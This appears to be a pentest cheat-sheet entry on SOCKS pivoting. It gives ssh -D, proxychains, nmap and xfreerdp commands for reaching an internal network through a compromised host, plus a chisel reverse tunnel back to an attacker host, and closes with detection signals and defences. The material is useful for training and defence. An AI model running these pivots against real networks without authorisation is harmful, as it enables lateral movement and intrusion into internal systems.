Dynamic Port Forwarding (SOCKS)

Dynamic port forwarding turns a compromised host into a SOCKS proxy: instead of forwarding a single port (like local port forwarding), it opens a tunnel that carries traffic to any IP and port on the internal network. It is the most flexible way to pivot into a segment we cannot reach directly.

Why it works. SSH can act as a SOCKS server with the -D flag: it opens a local socket that accepts SOCKS requests and forwards them, already inside the pivot's network, to whatever destination each request names. Since the client chooses the destination on every connection, a single tunnel reaches the whole internal network. On the attacker side, proxychains intercepts tools and makes them speak through that SOCKS.

The abuse. You bring up the SOCKS proxy with SSH and route each tool with proxychains (remembering to use TCP connect, -sT, because SOCKS does not tunnel raw packets).

# open a SOCKS proxy on 9050 through the compromised host
ssh -D 9050 <user>@<pivot>
ssh -f -N -D 9050 <user>@<pivot>          # in the background

# ensure the proxy line in /etc/proxychains.conf
# socks5 127.0.0.1 9050   (proxy_dns on to resolve through the tunnel)

# route a scan and an access through the tunnel
proxychains -q nmap -sT -Pn <internal-ip> --open
proxychains xfreerdp /v:<internal-ip> /u:<user> /p:<pass>

With chisel, when the pivot cannot accept inbound SSH (reverse SOCKS toward the attacker):

./chisel server -p 8000 --reverse         # attacker -> SOCKS on its 1080
./chisel client <lhost>:8000 R:socks      # pivot

Requirements. You need SSH access to the pivot (or an equivalent tool that exposes a SOCKS, such as chisel or ligolo). SOCKS only carries TCP (and with SOCKS5, DNS resolution): scans must be full-connect and ICMP discovery does not pass.

How to detect it. On the pivot you see an SSH process with many outbound connections to diverse internal IPs, all from the same session: the pattern of "a host that suddenly talks to the whole network". At the edge, a single encrypted SSH connection channelling a disproportionate volume of traffic is the signature. Watching sshd/ssh with -D and internal connections radiating from a single source helps hunt it.

Defence. Segment the network so a compromised host cannot see the rest, restrict outbound SSH and forwarding (AllowTcpForwarding no), and monitor anomalous internal connections from a single source. It is the flexible sibling of local port forwarding and remote port forwarding, and shares its goal with sshuttle and ligolo-ng.